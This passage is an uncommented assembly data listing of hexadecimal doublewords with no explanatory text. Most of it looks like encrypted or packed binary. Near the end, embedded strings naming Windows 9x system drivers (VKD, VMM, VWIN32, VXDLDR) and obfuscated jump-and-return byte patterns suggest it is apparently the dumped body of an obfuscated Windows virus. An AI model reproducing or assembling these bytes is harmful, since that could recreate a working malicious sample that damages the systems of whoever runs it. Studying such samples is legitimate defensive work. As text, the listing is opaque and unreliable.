0FDCB4124h, 0E0244714h, 0EF6CA836h, 705605CCh, 0D7FA61B2h dd 13722D10h, 67AA744Bh, 0C94816F4h, 0EA6F6F92h, 11D64E34h dd 0DC9EC1C5h, 0C14E3192h, 0EE72967Eh, 0D4A280C3h, 0EEFB1E3Dh dd 0FE735718h, 7396C54Eh, 5679E22Fh, 0B8E7DC4Ah, 4FC785A7h dd 2299290Ch, 5D3FC63Eh, 94DE7357h, 0D6AD8FCCh, 6FB2979Bh dd 1249C88Ch, 0AEAD6634h, 50158D8Bh, 0D7A4804Dh, 5F413607h dd 0E4DE7304h, 5234BBA1h, 0D7DE7304h, 28EDB194h, 0DCFF5CB6h dd 33E27998h, 9AA26184h, 411AF925h, 0DD7E9563h, 6D839F7h dd 0BEA1500Bh, 0CA470503h, 71236E91h, 7A5B52C0h, 0C88C6F1Eh dd 8FEE114Ah, 34EF14D9h, 163B53CAh, 0E312AEAh, 0EFD46447h dd 957BE033h, 32B4961Dh, 0F639DE73h, 44CF9D13h, 6DF4F417h dd 4948CFB5h, 6D86B61h, 6D90CB46h, 0C8D4F7A6h, 5AB9655Ah dd 0BC552301h, 0FFE168h, 0C484D86Ch, 0AF5E0D4Eh, 92C9488Ch dd 0D3A8B06Fh, 73510A07h, 0E41BBBCAh, 36D084h, 4AF70000h dd 5EBFBD85h, 0FAF24C13h, 0C6AC7BF7h, 63270AB9h, 8888ABB0h dd 0EB634991h, 0C7C98264h, 0CF47077Eh, 0F3A2698Ch, 0F80B9210h dd 0FD78BFFDh, 3156DCBAh, 0F3000000h, 0FF14D24Ah, 6B85675Ch dd 0C70A7EC7h, 68F320E4h, 0E8824745h, 94908959h, 0EF72F2D5h dd 7BCA5137h, 0F878BFA8h, 440ACFB5h, 0D6811D43h, 1E8D03E6h dd 79E0E5F3h, 0BB6AF124h, 12985DD5h, 3B12EF15h, 41B32457h dd 3461F18Eh, 95E1C451h, 236678C0h, 56DEC033h, 0F960640Dh dd 763B21h, 40A0E141h, 1DA42205h, 7E066792h, 1F3CD896h dd 0D55235FCh, 0EA6F6F92h, 5C74E34h, 4A77FF6Eh, 0AE632107h dd 1001CFADh, 0CFA54F14h, 4F642A86h, 0FF6F785Ah, 0BBAFD77h dd 6647E6D4h, 0BCB81912h, 12C0h, 0C4A2B95Eh, 5F3D1EF6h dd 0FEDC7F91h, 9B79E230h, 351348CDh, 1005D29Ah, 779F6D4Bh dd 0DB3806E4h, 3DD4A280h, 8A6E401Eh, 0D1C62103h, 2DCCA684h dd 4F888C4Ah, 8CC69965h, 5F42F130h, 0C7DAF0D2h, 37EF727Eh dd 0EB87CA51h, 89CC78C0h, 2D2EE5A3h, 9292814Fh, 0C0CC290Bh dd 26EEAE78h, 9C4B1235h, 8B86CAEDh, 0EB6B99D0h, 73D411A4h dd 124F77h, 1348CF00h, 0AEAD6735h, 4D0E02D0h, 0EA71A16Fh dd 84D73E0Ch, 76610BA6h, 10DEBC9Fh, 0A9775506h, 4513F16Ah dd 0DFB18FCCh, 0C69274FBh, 3D1784D1h, 9D1489Eh, 7C599C23h dd 5B9E78C0h, 0FD5EB775h, 0D4E013DAh, 9F182DCDh, 2EEC6A4Dh dd 0D18F75E6h, 0EA719F3Fh, 14E2583Bh, 0F4385B00h, 0F1B3E1Dh dd 1400DAA1h, 838A6947h, 3121F962h, 0ABCE8D87h, 0BF94C79Eh dd 4516FD78h, 2932DE22h, 0D2A9DD06h, 6B506485h, 9A7965AFh dd 7254DBC1h, 0F778BF94h, 592705B4h, 7F7DA0BBh, 280B50C1h dd 8369B1A8h, 0EBD1460Bh, 0BA55BB30h, 10E64AD7h, 286B72B5h dd 0CE8D8442h, 62AF6DEBh, 0BC5513F9h, 0CFB57C9Fh, 0B5726648h dd 0C5A8EB72h, 9490814Fh, 0B5722B0Dh, 876DB072h, 0B5721E00h dd 0B160A372h, 538B8E8Eh, 0BC05E66Dh, 478A6CAAh, 0ED6EA361h dd 19474207h, 9922349Eh, 9F7240B6h, 0FE18D6BCh, 7AE1315Dh dd 0F2AD9057h, 24336FF2h, 3E48BD25h, 1886E1Dh, 66A2EACEh dd 7599D013h, 0CA23C1FCh, 112E6D69h, 27F00000h, 8C885634h dd 0ED23F1CFh, 50C2906Eh, 0B65F2D0Bh, 402CC7A5h, 0FFDD7E97h dd 9876E531h, 341249CAh, 0D2B0AB66h, 0B3951C00h, 3884D1C7h dd 903BBF5Eh, 8E7EC76Bh, 32F0D685h, 8F5679E2h, 0B5AC36ACh dd 880F876Dh, 7EC76BA6h, 0B6A56B2Bh, 3A1DCC93h, 0B58C35BCh dd 8ED178BCh, 3526EAA8h, 61F8A4Fh, 0D97138C6h, 0A24AA8F9h dd 755807BBh, 5C2990FFh, 2FDF08BDh, 14Dh, 0C5967F3Dh, 0D24A7DE2h dd 0C76B694Bh, 0C8ABEE7Eh, 7E86D648h, 97E41F8Bh, 4ACD9A49h dd 0C76AECC3h, 66335C7Eh, 5F38EB4Ah, 868C4AFAh, 0ED72F2D5h dd 0DF566835h, 420FD748h, 0D6858C4Ah, 0B9A26FB3h, 549F270Ah dd 88BD6C29h, 0E36AE2DBh, 7BC76B01h, 1F604386h, 33h, 0D4D34846h dd 0C76B6B4Dh, 0FEADF07Eh, 14D24A31h, 0F5395CFFh, 0A98C3B20h dd 0C76B451Ch, 0B27FC27Eh, 0C04EB4Ah, 0A17B824Fh, 452833E3h dd 394CE0h, 48E90000h, 67250BD3h, 0C58CAFACh, 6B7658DFh dd 0B8FB7EC7h, 0C34A70D5h, 7EC76AECh, 0F269AA68h, 0D08B8BCFh dd 8BB43E21h, 4EB4ABEh, 4A824F0Ch, 0BF55898Ch, 3CAED9Ch dd 4A12D320h, 0B0D3888Ch, 9A7C03E9h, 1F7EC76Bh, 3B5AF9DCh dd 50DB88BDh, 45h, 0FD74877h, 14D24A42h, 0ED7A5DFEh, 7EC76B16h dd 4A835093h, 6B694BD2h, 6AA77EC7h, 0E6C90CF1h, 10040968h dd 7AA0654Bh, 71BD57F1h, 1E95CB7Eh, 0C22F21EBh, 22706991h dd 0B1944373h, 4CBA7B4Ch, 27h, 0FD748E9h, 0DD24A42h, 73646187h dd 0E56C52ADh, 7EC85E03h, 0D5624588h, 7EC85DFEh, 4A78456Eh dd 4B1004EBh, 4CBA7B7Eh, 0FFFFFEAAh, 0E5854AE9h, 55818667h dd 8EB1AA67h, 0B53518C7h, 99076ACh, 78BD28C5h, 23E1C70Ah dd 58F6DEEh, 69E1C71Dh, 847166ABh, 43015D8Eh, 47D4B766h dd 78BDCC65h, 7784A7EAh, 78BDCC93h, 43CF8D29h, 0DEA53518h dd 92545C29h, 2D2FE4h, 3B560000h, 7EC76B65h, 7E5769Bh dd 0C76B9970h, 0D80E137Eh, 88706BF2h, 763478BFh, 221A3A9Dh dd 0F0F3FBEBh, 9EE15E41h, 913AC0h, 48D70000h, 0AB2309D1h dd 6ACAAC33h, 0C4F7EC7h, 99919C29h, 539678BFh, 0F764AF6Dh dd 93C84B19h, 31E97070h, 8A98C44Bh, 9ADD72B5h, 3E1DF6B4h dd 0DA819260h, 7CA2B7B7h, 0A03ED896h dd 0FBC2E576h, 3662294Ch, 209E81DAh, 0AB34D099h, 2C12556Ch dd 0DAB8A36Eh, 1F56050Ch, 1DBA11F9h, 8DE9E546h, 9100000Eh dd 29F7D586h, 0C49270EBh, 63310F4Ch, 0CEACAFh, 0CD684615h dd 7EDD389Fh, 1744D2A0h, 0B3A86B39h, 510A07D5h, 36BDA173h dd 84D1CA54h, 460FFD9h, 0AA684E0Dh, 9D0F368h, 0EA276B26h dd 6AD1B33Ah, 60F7EC7h, 7E2D7055h, 5FFC175Bh, 411AF83Ch dd 2D92241Eh, 0F8BFC76Eh, 8268F31Eh, 290C4FC4h, 0A86D2BB3h dd 0B9290B3h, 7EC76B29h, 0D9BC6BAEh, 88B54B3Ah, 3B40DEh dd 4A670000h, 0B1D4878Ch, 9B7D04EAh, 207EC76Bh, 0E77AFADDh dd 47D2593Fh, 4C78BF86h, 6FA2E609h, 0D1400EECh, 0F267678Ah dd 0C4F764AFh, 0AC4F6CB2h, 6C520122h, 0B856DAE5h, 0BE9CDF72h dd 4B10044Fh, 0E66DE56Dh, 7EC76B04h, 6134689h, 1040DF5Bh dd 967E4225h, 0E067DFC5h, 7EC7FAFEh, 0A25D4083h, 302BE6A4h dd 0FB17C04Dh, 0FE157EC7h, 6CF57F5Dh, 0F40BD0B6h, 0D806ADDAh dd 83D83B67h, 0ED9B22A0h, 2A78BCFDh, 0CD4301E7h, 2941B08Eh dd 0DF08BD5Ch, 1632Fh, 0D24A5600h, 0C76B694Bh, 0EE6DA77Eh dd 63E3C609h, 0C94127F9h, 0C76B6042h, 0E46BE57Eh, 7EC76B02h dd 0B2954487h, 0ECC34A4Dh, 5C7EC76Ah, 0DA884D33h, 0B27F8741h dd 4A5CC1A4h, 0E15F38EBh, 476AF123h, 9D4C0F03h, 0D34855BAh dd 854A3E0Bh, 0FEDF2202h, 7EF0D3AFh, 8A8C4A07h, 6B31139Ah dd 73B67EC7h, 0F7DAA1C4h, 713EE477h, 6C29F540h, 1FDB88BDh dd 1Fh, 8ED34846h, 5D2AD982h, 6AECC34Ah, 26697EC7h, 4EB4A59h dd 7B824F0Ch, 374CBAh, 48E90000h, 67250BD3h, 68CDB0ABh dd 694BD24Ah, 0EE7EC76Bh, 0C34AC8ABh, 7EC76AECh, 0B96BAA68h dd 0C76B5032h, 0E392D57Eh, 0DD005BB7h, 80A93316h, 4EB4AB3h dd 7B824F0Ch, 888C4ABAh, 0BDE9B0D3h, 86250853h, 0DB88BE0Fh dd 4B7Ch, 0D748A300h, 8C4A420Fh, 0E9B0D388h, 2A018806h dd 0A77EC76Bh, 0C0B97E64h, 0F8D021A4h, 4AED5235h, 6B694BD2h dd 0ABEE7EC7h, 4EB4AC8h, 0A7654B10h, 7CEF16Ah, 0A17BBF24h dd 818AAFDCh, 0DEA5C893h, 0AF9CBAABh, 274C67CCh, 0E9000000h dd 420FD748h, 6AECC34Ah, 335C7EC7h, 5AD24A66h, 0C76AF1D3h dd 3AF767Eh, 0A6BE487h, 53B89B4Ah, 7E4B1004h, 8C4ABA7Bh dd 0E8AFD289h, 0FE9D8905h, 480DFFFFh, 7F0857D9h, 5EC3A691h dd 694BD24Ah, 0EE7EC76Bh, 0D148C8ABh, 589C2309h, 9D78BCBCh dd 5BB6745Ah, 80982200h, 0DEF765Ch, 9278BD1Dh, 3B1F2C4Fh dd 0D178BD1Dh, 0DEA75C23h, 0ADE49303h, 20h, 6B653BD4h dd 769B7EC7h, 0CDAF36AEh, 527EC76Ah, 6B381A0Fh, 7ABD7EC7h dd 0CA67EDCBh, 4000000h, 2309D148h, 0E18D005Eh, 0ECCF45F6h dd 0D938F66Eh, 0B129F82h, 878C0DDh, 0E067DFC5h, 78C0B4FEh dd 0D35A4083h, 78C0B4F1h, 0D2503376h, 7E5CFF14h, 12F863B0h dd 789BC054h, 0CF8C85B1h, 283131ECh, 5D850CF2h, 9A72B606h dd 60B37157h, 165015FBh, 3C44CB31h, 0E78163EAh, 0C30672B5h dd 0EDBB3114h, 12123526h, 0A5B65A0Fh, 209810F6h, 0B5E7B799h dd 16F93C72h, 0AB30C089h, 1C02456Ch, 0A03B1DA4h, 7DC06CABh dd 0B35E1C9Ah, 15FCCAA8h, 16D30F46h, 0CB2C1DBAh, 0B2BCFh dd 3724F300h, 0D2898B59h, 71EA26F4h, 0E4DC593h, 0A8B36230h dd 9A3D2FCAh, 3402E07Bh, 0CD9B79E2h, 69371546h, 3D5B3A8h dd 0CDB6981Fh, 613B84D1h, 4E0D04C2h, 0C446A368h, 8FC23A1Fh dd 64ADF1ACh, 1F15D4F7h, 87AAB161h, 0E1168DC0h, 3C807FD3h dd 28F2C959h, 0EB9472E9h, 0DE88959Ah, 3CF1h, 0D1481800h dd 5A0114D2h, 0C76B8365h, 78E087Eh, 7EC76B25h, 9B867AAh dd 88C59C23h, 0FF4278BFh, 0E27998DCh, 84D73EFCh, 41B79A61h dd 9ABD9E73h, 795F879Ah, 0B963EBF2h, 0C7A5E872h, 4B100458h dd 6B2BD66Dh, 0EA297EC7h, 10099371h, 0A76CE4CAh, 58B12AD0h dd 0B0371DF7h, 7EC7FFCEh, 0A02D1053h, 78BD4ADFh, 0ABB06424h dd 21038A88h, 0A678BDB2h, 1F05B463h, 0CEACAF61h, 6547CE46h dd 0EA78BDB2h, 0B207E970h, 498C78BDh, 4A52B79Ah, 0BCA6E85h dd 81649007h, 88DA3E2h, 178E8DFh, 4A0F0000h, 0A051C385h dd 0BC9F3546h, 31FE223Ch, 6AECC34Ah, 335C7EC7h, 6308884Dh dd 0C317E2D9h, 0F9DC7F97h, 38EB4A94h, 0ED23E15Fh, 9D004B6Eh dd 399C74E4h, 0EA4F32E1h, 3E0BD348h, 0A08C656h, 4A096E51h dd 6B694BD2h, 0ABEE7EC7h, 0FD748C8h, 1EDC4042h, 2B30E6F8h dd 6F924108h, 2960C5A8h, 0DB88BD6Ch, 441Fh, 0D3484600h dd 0C34A3E0Bh, 7EC76AECh, 0C8402669h, 0C76B5F41h, 0E4779D7Eh dd 0D215FAC1h, 0D24A8AEFh, 4D549C0Dh, 0C3A6CDC1h, 4F0C045Eh dd 35854A82h, 749CD62Fh, 0D7B1FEE1h, 3C5FFC19h, 4C2D9275h dd 27h, 0BD348E9h, 5AD24A3Eh, 0C76AF1D3h, 5033767Eh, 0C76AECC3h dd 66335C7Eh, 8C4AEB4Ah, 0EBB2D586h, 8FCC4408h, 29BA7BC2h dd 0DB88BD6Ch, 4C1Fh, 8C4A4600h, 0ECB3D685h, 0D3968909h dd 0E2799C42h, 4AB78433h, 0F1D35AD2h, 767EC76Ah, 0ECC35033h dd 697EC76Ah, 0CCEF6CA9h, 4A895605h, 4B1004EBh, 29A17B7Eh dd 0C76BC0A2h, 1F02457Eh, 4BD24ABAh, 7EC76B69h, 4CC8ABEEh dd 3Eh, 0FD748E9h, 482AB129h, 0CD7EC76Bh, 4A42A78Ah, 8283E185h dd 25087AEDh, 0C14920A7h, 7C57EC7h, 62294C0Fh, 0CF48F57Fh dd 0F1D2129Fh, 4A9B6817h, 4B1004EBh, 0E3A17B7Eh, 3E052833h dd 844CF65Bh, 0D0FFFFFEh, 159A4C0Bh, 4B77B636h, 0AA7194C7h dd 0D14862C7h, 589C2309h, 9D78BCBCh, 5BB6745Ah, 0B45C1A00h dd 2A274A7h, 1D88483Fh, 263AC43Ah, 0AF9118FEh, 3378BC83h dd 835234BBh, 8D8978BCh, 57F5560Ah, 0D259D3B8h, 78BCBFF0h dd 0A0833275h, 0BFBDE023h, 0F9C868FAh, 58D72F0Ah, 0C7B79978h dd 0F17E6110h, 78BD440Dh, 0CD4907A3h, 0A41BAB8Eh, 92DCE69Fh dd 1EA5E4h, 0F5B30000h, 0F75C3F1Ch, 0C76B653Bh, 0E5769B7Eh dd 0E18107h, 40050000h, 8F2E56D3h, 9AFFE276h, 2309D148h dd 0BF931D9Ch, 0F81ADA78h, 14F67D63h, 9978C044h, 3C1A756h dd 0A7654B10h, 990FF269h, 55DC48CBh, 78C04473h, 751C31F8h dd 286447D5h, 0A9A7CA79h, 3D53DCE4h, 0FEE1FE8Ch, 5D439B7Eh dd 0B4F9A2D6h, 0BEA4E772h, 22451600h, 75E62F5Bh, 2AA88B52h dd 0CEB4A76Ch, 59EDCF56h, 2F7272B5h, 894ED64Ch, 890F5952h dd 412C5AC5h, 0F1AB8CF5h, 789B5F42h, 59C0C0E3h, 45CC1204h dd 7D2CF316h, 0FEE4935Ah, 0A78AD140h, 0C0D9A229h, 1B5E6CA9h dd 449A7735h, 0FEDC8BD0h, 437AE130h, 1DBB86A9h, 89F9F556h dd 95000007h, 2DFBD982h, 0C89674E7h, 67351348h, 4D2B0ABh dd 0D16C4A11h, 82D93C9Bh, 1B40D6A4h, 0B7A46F3Dh, 55060BD9h dd 3AC1A577h, 84D1D158h, 4A6403DDh, 0BE5FDD85h, 30E1420Bh dd 0F967C2Bh, 7EC8492Dh, 0C88C6FB2h, 0E07B9549h, 47CA0E31h dd 2FDE7D97h, 7E454D0Ch, 10EE6DA4h, 87D31E67h, 0A17230DEh dd 0D584D73Dh, 41B1F2h, 48D80000h, 652309D1h, 4FCDB0ABh dd 0BF9791C8h, 0CC08CD78h, 0A7E9522h, 1C5FDCBFh, 5537BE36h dd 0DA78C016h, 0ECF9B497h, 78C01616h, 9B81F6A4h, 3B00FAD6h dd 22057B60h, 904B0283h, 3C89E4h, 48B00000h, 652309D1h dd 4DCBAEADh, 5EFD17D5h, 8BBBEE7Bh, 860078BFh, 0C04C1DFFh dd 0B05FA278h, 16C8498Dh, 0D2B05FFCh, 2B4E0D04h dd 0AF0362Bh, 1942D492h, 732AA936h, 0A4E772B8h, 0E1F357C6h dd 0BFA57DE4h, 0BF975538h, 0A797DA78h, 498BF734h, 34BB3338h dd 0B849F452h, 0B4D78490h, 0DFC508EDh, 49F47658h, 0D5B8FBB8h dd 3016CC55h, 895EF3B8h, 4F9BEA17h, 2F8271Ch, 0D1B41751h dd 4232B944h, 13FFBDB2h, 7B5E2548h, 9898BBFEh, 0EC735981h dd 0AC3B392Ah, 88462C6Fh, 26F4D289h, 0BD3970EBh, 42DE29F6h dd 636E5E1h, 2FE80000h, 94804E2Ch, 0F51BE9C7h, 58BA8866h dd 0BE572503h, 4824BF9Dh, 0F7D5868Fh, 906EED29h, 2C0A51C2h dd 0CAA8B35Eh, 0AB8D14F8h, 3084D1D2h, 0D04B756h, 6CAA684Eh dd 0D510CEFh, 0B4725803h, 15DCFF5Ch, 6AC6A82Fh, 84B7EC7h dd 3C25AF25h, 0D14200E6h, 0EF23678Ah, 5CDABD6Ch, 0BCBBA1D5h dd 8C1FE678h, 0DE5C5D37h, 1B5F8231h, 112F66F5h, 2E11A8F9h dd 5BED1CDh, 0B7600000h, 1CF8C6A4h, 7D93613Fh, 0E03200DEh dd 46CF9D7Bh, 0D09C3715h, 6F4D0E07h, 8E675A1h, 0A482D93Ah dd 42203BD6h, 23058C70h, 0A884D1D3h, 0D1482FCEh, 749C2309h dd 0B178BCBCh, 0E7C3886Eh, 0F2B50015h, 3B589DD0h, 0DDD38829h dd 15FB3FFAh, 653B0F46h, 0A30411A8h, 563A7h, 0FF5CBB00h dd 9AC15321h, 3922EEBCh, 0D6858D5Bh, 70EB2AF8h, 6275F792h dd 0FCCAA8B3h, 9563411Ah, 31FFDD7Eh, 0CB9D7BE0h, 0D37E60E7h dd 290384D1h, 8CD1488Ah, 34169D87h, 0B97EC76Bh, 3218C776h dd 0BCBB7FABh, 0C05C378h, 2DE82C4Fh, 95440B2Eh, 0CF235B2h dd 1C2B0D94h, 16278BDh, 673AE017h, 9073B69Bh, 0DC7F91D5h dd 0A8D2AFA5h, 332F9011h, 4F0h, 9472E92Eh, 2F0D4EC6h, 0CEACAF61h dd 6B491200h, 5E3789Dh, 40D5026Ah, 0A76F3D1Bh, 0B08D6B4h dd 6DA47250h, 5A3E10EEh, 0D1D3F1D3h, 0FD9C7684h, 2B4E0D04h dd 0E312AE7h, 8C90E7AFh, 5FAB4F14h, 5AC00B7Ch, 0C7CB8365h dd 0E2C5087Eh, 8A68F31Eh, 200655BCh, 0C4A7B462h, 0CB25FC09h dd 0B75B7EC7h, 0CB04E66Dh, 46897EC7h, 0E3307497h, 0F82C5578h dd 0B1B3D483h, 0CAD0B239h, 95557EC7h, 0F6BDE07Bh, 0F8DA6147h dd 7D7EC7CAh, 0F0C7573Ah, 0BF0BA76Ch, 0F08DEECh, 0B2A9682Ch dd 0D30B06D4h, 4A6D1C3Fh, 72500B06h, 0C3A971E8h, 0C114693Ch dd 88ABEE78h, 0C0F4A57Bh, 3E853378h, 8F2C7C09h, 3F0FE4h dd 581D0000h, 0B238ADE9h, 39DA4FD2h, 0E5E5800Bh, 48EE5336h dd 9C2309D1h, 78BF9BC5h, 5B19FF42h, 0BB82A5B6h, 3B6C4ED5h dd 0AEF178C0h, 2D0310CBh, 0BB78C03Bh, 0F491B60Dh, 97E48FE1h dd 108h, 4E854ABEh, 3C92BA2h, 1AF7BB9Eh, 937F8BDh, 3F6B2C3Ah dd 9D6487D4h, 99008EEh, 7EC81F27h, 89ACAF65h, 0B79ADDC2h dd 0FE5DB8FCh, 0F11FDDDBh, 4EC3876Ah, 26D58690h, 26107B40h dd 4D4928F1h, 0F3B1AF6Ah, 52193C1Fh, 0F566AB6Fh, 9BC0510Fh dd 67342D78h, 0CFF4AEB5h, 30C73D20h, 7EC7A28Fh, 1D3ED593h dd 0C09B763Ah, 5EFD14E2h, 263B3Bh, 6FB55C1Ah, 0C79C06E8h dd 99488B7Eh, 36B138B6h, 0FB78BFC4h, 0C950DAB8h, 2CB32B11h dd 78C0754Ah, 0B2608CCFh, 0DCBF86A9h, 202BD75Eh, 2D7072B6h dd 0D2898947h, 0F9E3289Fh, 0A3863461h, 0ADAE6725h, 540709C7h dd 0E82DFB71h, 7E223C73h, 0BC1D17AEh, 32BC0h, 3724F300h dd 0D2898B59h, 71EA26F4h, 0E4DC593h, 0A8B36230h, 9A3D2FCAh dd 3402E07Bh, 0CD9B79E2h, 69371546h, 3D5B3A8h, 0D5B6981Fh dd 613B84D1h, 4A1104C2h, 8365EC64h, 87EC76Bh, 9E6CE2C5h dd 9B0AE873h, 2309D148h, 0BF9BC59Ch, 0DCFF4278h, 0C03AF9CFh dd 0E2D98778h, 8FE1285Dh, 0D263E4h, 48A0000h, 2D2B4E0Dh dd 0E3517E68h, 381BACBEh, 97BAA174h, 0C77AE98Ah, 0E72FED7Eh dd 0A78A5174h, 472D2EE3h, 2B7E4A82h, 3B1E5349h, 411AF7C5h dd 0E33B1E1Eh, 19C338FDh, 1875B51Eh, 0B530B735h, 7A78C001h dd 358C5137h, 5463F404h, 9F299F82h, 0B97E64BAh, 0A2C0E823h dd 62E0C302h, 0B6AFD6DBh, 0AA90D372h, 60B529ECh, 0A06E4CFBh dd 4628AF75h, 0CB72B760h, 5FE8CA51h, 2A6D72B7h, 55BD487Bh dd 931B3264h, 0AA7BADE4h, 238417AEh, 23B27h, 2734E300h dd 0C2997B49h, 61FA16E4h, 0FE5DB583h, 98C35220h, 8A4D1FBAh dd 24F2D08Bh, 0BD8B69F2h, 59270556h, 0F3C5A3B8h, 0D6A6880Fh dd 512B84D1h, 4A1104B2h, 64739E6Ch, 25358ED4h, 1744CD25h dd 6CDBB968h, 2B4E0D04h, 53312AE7h, 0A48A50C9h, 0BF97E61Dh dd 0BDE02378h, 0C03FDAB0h, 0C5BA6878h, 8FE0473Eh, 5D44E4h dd 4A6B0000h, 6B694BD2h, 27EE7EC7h, 652A8549h, 6E51007Ch dd 0DE366BEEh, 0E4935A7Dh, 52D240FEh, 0C7C6E9CBh, 7C2B6E7Eh dd 99941B99h, 5E78BFE4h, 15EBF81Bh, 0A378C0ADh, 0D59A8EF5h dd 41F14230h, 24C3A672h, 0E48EBE61h, 242Ah, 733800h, 0A599E12Dh dd 0AF9118FEh, 3478C0B1h, 3BA90EF1h, 7EC76B64h, 0BDA37BDEh dd 0C06FAB36h, 8F6DB078h, 898C4A20h, 5E8AFD2h, 60469C85h dd 6B7F61E8h, 0C1047EC7h, 0AED960DEh, 0F278BF88h, 987BE034h dd 0A6B55B1Bh, 0F1C7D4F7h, 2778C048h, 84C6FECh, 702F5209h dd 70441368h, 3F46FDC2h, 4CE48FD7h, 13h, 6B653B73h, 7ADF7EC7h dd 0AC37BEA4h, 0B178C06Fh, 4821906Eh, 9C2309D1h, 78BCBC38h dd 0CF947ABDh, 0E647B2E6h, 2AA88B07h, 0D8B6A56Ch, 6F51D850h dd 0F478BD0Ah, 70ACEB1h, 7588BCD0h, 967CB47Bh, 0BC972D0Fh dd 0C06FB278h, 5E849D9Dh, 0E110F178h, 529572B1h, 0F863AE6Ch dd 96C54C1Ah, 38EE7373h, 5E98CB52h, 9ADD6CAAh, 0BA8ECF63h dd 0D3CF301Dh, 0ACh, 0D8B6A572h, 73510A0Ah, 12F06BA5h dd 0AF8DCE44h, 492734E1h, 0FC19BEAEh, 63B3815Fh, 0C74C1AF8h dd 29E8B694h, 9E825432h, 0D1D83517h, 41E0BA84h, 2309D148h dd 8CAFAC65h, 6D90CB48h, 9614F7A6h, 0BCB53A0Fh, 5174B778h dd 0E07B9553h, 4F13F6BDh, 0EDBB99C2h, 7143724h, 0DF91F5D4h dd 0F51843D2h, 0D4F764B1h, 530077ABh, 0A37F440Ch, 870FED6Eh dd 723393C2h, 3E21ADC4h, 0A1C4977Ah, 0C2A42BA3h, 47FF9265h dd 0B55D2104h, 0F02C0A6h, 0A2AE694Ch, 7E934F34h, 0E031FFDDh dd 9C5A587Bh, 0B3A86975h, 371AC990h, 3BBh, 15205800h, 25481304h dd 82B30E1h, 0E90C4FC4h, 0C7EA71A5h, 0A6C99283h, 85A8B362h dd 678AD141h, 4B6EED23h, 2B4E0D07h, 0E189512Ah, 4C181h dd 0E9810000h, 4, 5C240C87h, 52241C89h, 0C281E289h, 4 dd 4EA81h, 14870000h, 0C895C24h, 25C66824h, 3C890000h dd 28BB5324h, 0C1644549h, 0E3C106E3h, 3E3C102h, 93F3814Bh dd 511D0108h, 0C218D1B9h, 59CB01CEh, 685BD989h, 499h, 81242489h dd 42404h, 835F0000h, 0C8904ECh, 8478F24h, 50243C8Bh, 405E089h dd 83000000h, 48704C0h, 34FF5C24h, 0C4835924h, 0CA0E904h dd 0BEDDFFFDh, 0B7CBF74h, 0B82C153Ah, 82691097h, 0A6E3FB8h dd 0FFC50306h, 0CDDAEEE0h, 645E1D07h, 0EB6B1B7Fh, 8ED57F7Fh dd 83722464h, 744C6947h, 77BA6E20h, 2ECC0F3Eh, 0DFACAA42h dd 97C1367Ch, 525C4726h, 0E1812F4Fh, 0EB77112Ah, 7C69A523h dd 0EB51590Ah, 9FC36710h, 0FC232D41h, 7802056h, 0B07CE518h dd 6C428A4Ch, 0DFF7602Ch, 3C1A432Ah, 10C2E006h, 1BCC150Ch dd 2C82DA5Fh, 0B136B16Dh, 1844E856h, 0D1857443h, 6824310Ah dd 331D3131h, 4934EB45h, 474D5346h, 56202052h dd 2020444Bh, 56202020h, 20204D4Dh, 56202020h, 334E4957h dd 56202032h, 444C4458h, 202052h, 2 dup(0) dd 0E9000000h, 77Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 11C35040h, 6F3041EFh, 60D7FE79h, 18B0Fh dd 0C7F90000h, 0A6F8585h, 6, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0E9F5B261h dd 6, 0C61ABE8Bh, 0C68B8678h, 0D8B70FFCh, 0D820Fh, 0F600000h dd 8Eh, 0C3816600h, 0C161E216h, 6A10E8h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 8E9666C3h dd 0FE989h, 960F0000h, 0DF4726F5h, 0D107B5Dh, 3CDD0F97h dd 0A8A0FDEh, 60000000h, 0D02ED281h, 616037D0h, 0C8C16661h dd 53006A08h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 69EE1D53h, 7724FD40h, 12E9h, 0A2A82700h dd 5EBB1C7Ch, 258A1867h, 0D71224D2h, 8979D4B3h, 0A6F8985h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0FF10CA1h, 0C8Ah, 6830F00h, 0F000000h, 82h dd 0CBC16600h, 50006A08h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0E953F505h, 0B70F60F5h dd 0DE9DFh, 660B0000h, 6C3CAB94h, 9DA37859h, 6120908Fh dd 0F40FB83h, 5285h, 11E900h, 99E0000h, 9409110Bh, 326BF194h dd 0E7D04F8h, 8D267230h, 0A6F5DBDh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 8AE8F74Dh dd 4B634D95h, 0E9F978D8h, 5, 0B7341FAEh, 13EE960h, 83FC0000h dd 850F0DFBh, 68h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 41C35545h, 7D9F1637h, 6061F860h, 665AF553h dd 83BFC381h, 65BD8D61h, 0F060A6Fh, 787h, 18E0F00h, 0F8000000h dd 0EFE9h, 10E900h, 4DE00000h, 0F5350900h, 0FD754E03h dd 214ED707h, 8A0F242Ch, 8, 0B9BA6660h, 6184B063h, 0F01FB83h dd 5885h, 18D0F00h, 0F9000000h, 1830Fh, 8DF90000h, 0A6F6DBDh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 642C61A7h, 188B0Fh, 13E90000h, 0CF000000h dd 66B8B5C0h, 0AF83E58Bh, 35C2FE6Ah, 0CA208CF0h, 6DE92B74h dd 0F8000000h, 2AFB83F9h, 39850Fh, 61600000h, 11850Fh dd 0CE90000h, 0FF000000h, 5000BE51h, 67039C63h, 8DE563A7h dd 0A6F75BDh, 88A0F06h, 60000000h, 3F8FBF66h, 0E9615956h dd 30h, 1850Fh, 83FC0000h, 850F27FBh, 312h, 1850Fh, 8DF90000h dd 0A6F7DBDh, 820F6006h, 1, 616060F8h, 0DC9BD981h, 616120A2h dd 6F8DBD89h, 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 8274A3C3h, 0E9BE011Ch, 11h, 0A1282E00h dd 7121CDD0h, 0C88A5DBCh, 74A53ABBh, 0ACBF60BCh, 814C0D6Ah dd 7D2AF6D6h, 0B8606160h, 35EC5A2Bh, 7E22BF66h, 0C88C6661h dd 